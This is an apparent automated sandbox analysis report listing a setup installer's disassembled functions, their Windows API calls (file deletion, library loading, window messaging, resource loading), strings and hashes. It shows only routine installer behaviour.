String ID: LOG
API String ID: 3884789274-429402703
Opcode ID: 894af25042bf12d667d08c04af1f9c1b756eb626197a3c17da7c51e7362befcf
Instruction ID: 22ed970161fcc607f868ba9e918d79aed9afaad9262c50259d61885e0842f10c
Opcode Fuzzy Hash: 894af25042bf12d667d08c04af1f9c1b756eb626197a3c17da7c51e7362befcf
Instruction Fuzzy Hash: 1651D275A04344DFDB24DF68C8057AA77F5FF44700F14866AE81ADB6C0E774AA04C7A4

Function 00CCBAE0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,00000000,?,\\?\,00000004,?,?,?,00000000,00DE871D,000000FF,?,80004005,02141699,?), ref: 00CCBB83

Part of subcall function 00BAA2A0: FindResourceW.KERNEL32(00000000,?,00000006,?,?,*.*,8007000E,80004005,00BC2B04,00000000,?,?,?,*.*,?,80070057), ref: 00BAA2C3

DeleteFileW.KERNEL32(?,02141699,?,74DF3340,?,00000000,00DE871D,000000FF,?,00CCB927,?,?,74DF3220), ref: 00CCBBB2
GetLastError.KERNEL32(?,?,74DF3220), ref: 00CCBBC2

Part of subcall function 00BAACF0: GetProcessHeap.KERNEL32 ref: 00BAAD45
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAD77
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAE02

Strings

\\?\, xrefs: 00CCBA34, 00CCBA46, 00CCBA50, 00CCBB44, 00CCBB56, 00CCBB60

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: DeleteFileInit_thread_footer$ErrorFindHeapLastProcessResource
String ID: \\?\
API String ID: 1908169709-4282027825
Opcode ID: 332d12176a304d5471b02601d975d809d44f32602c540018c6fabac3c243697f
Instruction ID: 43228b54f768265e1cf8e94204acfe607b2464ee6ef6c272c98e488124a62d41
Opcode Fuzzy Hash: 332d12176a304d5471b02601d975d809d44f32602c540018c6fabac3c243697f
Instruction Fuzzy Hash: CD21A171904618DFDB10DFA9C85AFAAB7E8FF05321F20469DE861D72A4DB369D04CB50

Function 00BB0EF0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(combase.dll,RoOriginateLanguageException), ref: 00BB0F32
GetProcAddress.KERNEL32(00000000,combase.dll), ref: 00BB0F38

Strings

RoOriginateLanguageException, xrefs: 00BB0F28
combase.dll, xrefs: 00BB0F2D

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoOriginateLanguageException$combase.dll
API String ID: 2574300362-3996158991
Opcode ID: bb0046b01194f45989ad11c66adb1cb23633d454a228b8b44353d6b6dc9d5ae8
Instruction ID: 4e8fd1e35b9bd316a1986826290dd36403ea9051864cc1cb0d95b6b3b8491259
Opcode Fuzzy Hash: bb0046b01194f45989ad11c66adb1cb23633d454a228b8b44353d6b6dc9d5ae8
Instruction Fuzzy Hash: 9B315071914209DFDB20EFA8C855BFEB7F4EB15310F104A69E825B32D1DBB49A44CBA1

Function 00D04120 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,00D020EA,?,02141699,?,?,?,?,00DF6965,000000FF), ref: 00D0412D
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00D020EA,?,02141699,?,?,?,?,00DF6965,000000FF,?), ref: 00D0414E
GetLastError.KERNEL32(?,02141699,?,?,?,?,00DF6965,000000FF,?,00D019ED,?,?,00000000,?,?), ref: 00D041AE

Strings

AdvancedInstaller, xrefs: 00D04196

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CreateEvent$ErrorLast
String ID: AdvancedInstaller
API String ID: 1131763895-1372594473
Opcode ID: 3bf754a2ea46f5ac8a316733b0110afaa36b34e59712654c0d5bb2b719e4131b
Instruction ID: a38c797263e51b12ebdb0417ec6819b259310be14d8b89cebcb02d9cf1b6a4ec
Opcode Fuzzy Hash: 3bf754a2ea46f5ac8a316733b0110afaa36b34e59712654c0d5bb2b719e4131b
Instruction Fuzzy Hash: 491137B1340702BFD3209B21CC89F16BBA4FF94704F244529F6099B6D0CB71E895CBA1

Function 00CA9F40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CAA450: __Init_thread_footer.LIBCMT ref: 00CAA4E0
Part of subcall function 00CAA450: GetProcAddress.KERNEL32(SetWindowTheme), ref: 00CAA51D
Part of subcall function 00CAA450: __Init_thread_footer.LIBCMT ref: 00CAA534
Part of subcall function 00CAA450: SendMessageW.USER32(000000EF,00001036,00010000,00010000), ref: 00CAA55F

CreateWindowExW.USER32(80000000,SysListView32,?,00000000,00000000,80000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00CA9F92
SendMessageW.USER32(00000000,00000031,00000000,00000000), ref: 00CA9FB0
SendMessageW.USER32(00000000,00000030,00000000,00000001), ref: 00CA9FB8

Part of subcall function 00BB83A0: SetWindowLongW.USER32(?,000000FC,00000000), ref: 00BB83D6

Strings

SysListView32, xrefs: 00CA9F89

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: MessageSend$Init_thread_footerWindow$AddressCreateLongProc
String ID: SysListView32
API String ID: 605634508-78025650
Opcode ID: d619e4bd1c95cfb4e7b53cc2e60291f8ac4bad71d46a0dbdc7e9e26c24453cba
Instruction ID: ba3c1cc27bd2dcad28b7935afb9d8d1a6f05cd0cc8a00c6961596b6d51bcef1e
Opcode Fuzzy Hash: d619e4bd1c95cfb4e7b53cc2e60291f8ac4bad71d46a0dbdc7e9e26c24453cba
Instruction Fuzzy Hash: 8F113936300311AFD6249B168C05F5BFBA9FBC9B54F15461AFA04AB2A1C7B1AD00CAA1

Function 00BB9DD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00EA699C), ref: 00BB9E0C
GetCurrentThreadId.KERNEL32 ref: 00BB9E20
LeaveCriticalSection.KERNEL32(00EA699C), ref: 00BB9E5F

Strings

v, xrefs: 00BB9E5F

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread
String ID: v
API String ID: 2351996187-3261393531
Opcode ID: e39c3967ef695b664d224470de08bd193ce0a7cd2e4771a9ec7190588b8cae54
Instruction ID: 8f1636963db1126f160c2bd3395035903c06df1da83634ede9dec6e5dda58cfd
Opcode Fuzzy Hash: e39c3967ef695b664d224470de08bd193ce0a7cd2e4771a9ec7190588b8cae54
Instruction Fuzzy Hash: CE11B231A05244DFCB20CF69D80476ABBE4EB9AB20F14879ED915A7390D7B1A808C790

Function 00D84AFC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,00D84AAD,?,?,00000000,?,?,?,00D84BD7,00000002,FlsGetValue,00E0DF18,FlsGetValue), ref: 00D84B09
GetLastError.KERNEL32(?,00D84AAD,?,?,00000000,?,?,?,00D84BD7,00000002,FlsGetValue,00E0DF18,FlsGetValue,?,?,00D819F4), ref: 00D84B13
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 00D84B3B

Strings

api-ms-, xrefs: 00D84B20

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 31d4a1a447a0f10d97898fcc5f33853666b8b138a9eef30f5074d1fabacbef1f
Instruction ID: 2eaf912b7e141d752f3456687ab34b623920b34985013011a8648164ec5a6f82
Opcode Fuzzy Hash: 31d4a1a447a0f10d97898fcc5f33853666b8b138a9eef30f5074d1fabacbef1f
Instruction Fuzzy Hash: C4E04831740205FBEB103B91EC06F297B58AB00B50F244021FA0CF90E0E772E995C794

Function 00BC7FF0 Relevance: 6.3, APIs: 4, Instructions: 321windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001037,00000000,00000000), ref: 00BC8138
SendMessageW.USER32(?,00001036,00000000,00000000), ref: 00BC814D

Part of subcall function 00BAA9B0: RtlAllocateHeap.NTDLL(?,00000000,?,02141699,00000000,00DA7E40,000000FF,?,?,00E9717C,?,00D11D86,8000000B,02141699), ref: 00BAA9FA

Part of subcall function 00CAA030: SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000037,?,?,?,000000EF,?,00BC8188,00000000,80004005), ref: 00CAA098
Part of subcall function 00CAA030: RedrawWindow.USER32(?,00000000,00000000,00000541,?,?,?,000000EF,?,00BC8188,00000000,80004005), ref: 00CAA0A9
Part of subcall function 00CAA030: SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00CAA0C8

SendMessageW.USER32(?,0000101C,00000000,00000000), ref: 00BC8283
SendMessageW.USER32(?,00001061,00000000,00000005), ref: 00BC837F

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: MessageSend$Window$AllocateHeapRedraw
String ID:
API String ID: 884508843-0
Opcode ID: cf213121fda335890373304f2ba6978cc6343c62ac9b0f743e953e04dfbac489
Instruction ID: 66eba68f4901ccc53eb1136500274b4c41b3e2f61592a665ae92bc25073d215d
Opcode Fuzzy Hash: cf213121fda335890373304f2ba6978cc6343c62ac9b0f743e953e04dfbac489
Instruction Fuzzy Hash: FEC18D71A002099FDB18DFA8C889FEEFBF5FF48314F144259E415AB291DB74A944CBA0

Function 00BB6480 Relevance: 6.3, APIs: 4, Instructions: 269memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 00BB654A
SysFreeString.OLEAUT32(00000000), ref: 00BB6596
SysFreeString.OLEAUT32(00000000), ref: 00BB65B8
SysFreeString.OLEAUT32(00000000), ref: 00BB6713

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 99f062f09de279d64b957aa927e49cc73b6fd4b5dbcce9d18bff386760cc2720
Instruction ID: efd5f52a09ad7c071714711a8a15b7130d5171571d131b65306e507d973cfd79
Opcode Fuzzy Hash: 99f062f09de279d64b957aa927e49cc73b6fd4b5dbcce9d18bff386760cc2720
Instruction Fuzzy Hash: D9A14F71A002099FDB25DFA9C944BFEB7F8EF44714F108159E915E7280EBB8AE05CB61

Function 00BD1800 Relevance: 6.2, APIs: 4, Instructions: 246windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000001,0000110A,00000004,?), ref: 00BD18D5
SendMessageW.USER32(00000001,0000110A,00000001,00000000), ref: 00BD1907
SendMessageW.USER32(?,0000110A,00000004,?), ref: 00BD1A7E
SendMessageW.USER32(?,0000110A,00000001,00000000), ref: 00BD1AA6

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 9ce6b9e3bc1a1d7aabacf1c83513b0eb35fb377683ffc0c2248bad53b4c08dc1
Instruction ID: 1351c762106b144969fa5c24d63e06b630497a3f3aea657ad7bdc83536fe3e01
Opcode Fuzzy Hash: 9ce6b9e3bc1a1d7aabacf1c83513b0eb35fb377683ffc0c2248bad53b4c08dc1
Instruction Fuzzy Hash: 7F916A71A01205EFCB25DF68D891AEEF7F5FF09310F0449AAE412A7391E770A945CBA0

Function 00BC0C70 Relevance: 6.2, APIs: 4, Instructions: 183windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,00000000), ref: 00BC0D09
GetParent.USER32(?), ref: 00BC0D29
SendMessageW.USER32(00000000,00000135,?,?), ref: 00BC0D39
FillRect.USER32(?,00000000,00000000), ref: 00BC0D47

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Rect$ClientFillMessageParentSend
String ID:
API String ID: 425900729-0
Opcode ID: 0ac2658ee999b36fc698a6b6a8485ac2e85dd340df116e8a301567d315339924
Instruction ID: 6e0ba48bac708068c8bedfc952a9c9000a1c78215c6b182589d6274eacf17882
Opcode Fuzzy Hash: 0ac2658ee999b36fc698a6b6a8485ac2e85dd340df116e8a301567d315339924
Instruction Fuzzy Hash: B9810A70901219EFDB25DF64C958B9ABBF4FF09304F1081AAE509E7251DB71AE94CF50

Function 00BD4F10 Relevance: 6.1, APIs: 4, Instructions: 108windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000C5,?,00000000), ref: 00BD4F5B
GetClientRect.USER32(?,?), ref: 00BD4F8D
GetDC.USER32(?), ref: 00BD4FA0
GetDeviceCaps.GDI32(00000000), ref: 00BD4FA7

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CapsClientDeviceMessageRectSend
String ID:
API String ID: 3507044913-0
Opcode ID: de634884f0b18f2c7202e9ad8408aa65aa18f885777692496095fc5218dd7a96
Instruction ID: 113acf7a1e62d44e4deb247a668d2d7ca6311df5c8cf45dd7e9966f65441a22d
Opcode Fuzzy Hash: de634884f0b18f2c7202e9ad8408aa65aa18f885777692496095fc5218dd7a96
Instruction Fuzzy Hash: 20417F316143049FE721DF75CC06F9AB7E9AF88300F144A2AF549E72A1EB71A954CB92

Function 00BC1760 Relevance: 6.1, APIs: 4, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00BC17B9
GetLastError.KERNEL32 ref: 00BC17ED
SendMessageW.USER32(?,00000317,00000000,00000006), ref: 00BC1819
SendMessageW.USER32(?,00000318,?,00000006), ref: 00BC1877

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: MessageSend$ClientErrorLastRect
String ID:
API String ID: 2591167063-0
Opcode ID: 2f9148b8ab6e0151878ea35fe8f961106a263f2492651620d17f2e3b6037d7f0
Instruction ID: 22f9e2429d22be53b62f3e01fce1f2225b733e5eecfd2c29f81216a8caff69ba
Opcode Fuzzy Hash: 2f9148b8ab6e0151878ea35fe8f961106a263f2492651620d17f2e3b6037d7f0
Instruction Fuzzy Hash: 2C31B370A04708AFE721CF69CD49BAABBF8EB05710F10066EF552F61E1D775A944C760

Function 00C59EA0 Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00000000,?,00000017,02141699,?,00EA14E0,?,?,?,?,00000000,Function_002373AD,000000FF,?,?,00EA14E0), ref: 00C59EE9
LoadResource.KERNEL32(00000000,00000000,?,00EA14E0,?,?,?,?,00000000,Function_002373AD,000000FF,?,?,00EA14E0,?), ref: 00C59EF8
LockResource.KERNEL32(00000000,?,00EA14E0,?,?,?,?,00000000,Function_002373AD,000000FF,?,?,00EA14E0,?), ref: 00C59F03
SizeofResource.KERNEL32(00000000,?,?,00EA14E0,?,?,?,?,00000000,Function_002373AD,000000FF,?,?,00EA14E0,?), ref: 00C59F14

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 6af456bf3728bad180659581dc79b7bcfa7537eacb08508cbecfd5cbcbea8e19
Instruction ID: 1b42ecf4206ef1a8e32ef620c7b13a8ad5d7478516bfb2b3e8b18a5bf662cc14
Opcode Fuzzy Hash: 6af456bf3728bad180659581dc79b7bcfa7537eacb08508cbecfd5cbcbea8e19
Instruction Fuzzy Hash: CD31D175D08605EFDB209FB5DC01BAFB7B8EB54710F104369EC25E3280EB309A48C6A1

Function 00D17C00 Relevance: 6.1, APIs: 4, Instructions: 85COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00D17C4A
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00D17C5D
GetDC.USER32(00000000), ref: 00D17CB7
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00D17CCA

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CapsDevice
String ID:
API String ID: 328075279-0
Opcode ID: 179a3b119a89529b77f40bba6ae167c2f08573ae60e13b6749e4d98e73d62663
Instruction ID: d83c1aeac7a6f3a0d644cddf40fe6679b743c9937eea00a8dfa715fa91e2b8e6
Opcode Fuzzy Hash: 179a3b119a89529b77f40bba6ae167c2f08573ae60e13b6749e4d98e73d62663
Instruction Fuzzy Hash: B7318FB1914608AFD712CF75DC49BAABBB8FF093A1F108327E415F2291EB3069458B60

Function 00BB7110 Relevance: 6.1, APIs: 4, Instructions: 84windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 00BB71C4
IsChild.USER32(?,00000000), ref: 00BB71CE
GetWindow.USER32(?,00000005), ref: 00BB71DD
SetFocus.USER32(00000000), ref: 00BB71E4

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Focus$ChildWindow
String ID:
API String ID: 501040988-0
Opcode ID: afcc05cafbc918627b93d0086c2cb5e3b3e325ba6e6b9c649c18c0abed62e28a
Instruction ID: 643695069af9a56cfad61126922a8bcea099b5a95884d4b901e11a833d4326a1
Opcode Fuzzy Hash: afcc05cafbc918627b93d0086c2cb5e3b3e325ba6e6b9c649c18c0abed62e28a
Instruction Fuzzy Hash: 5631B1B0604606EFDB14CF69CD48FAAB7F8FF84710F10425AE515E72A1DBB5A814CBA0

Function 00BC4480 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,02141699), ref: 00BC44EA
EnterCriticalSection.KERNEL32(?,02141699), ref: 00BC44F7
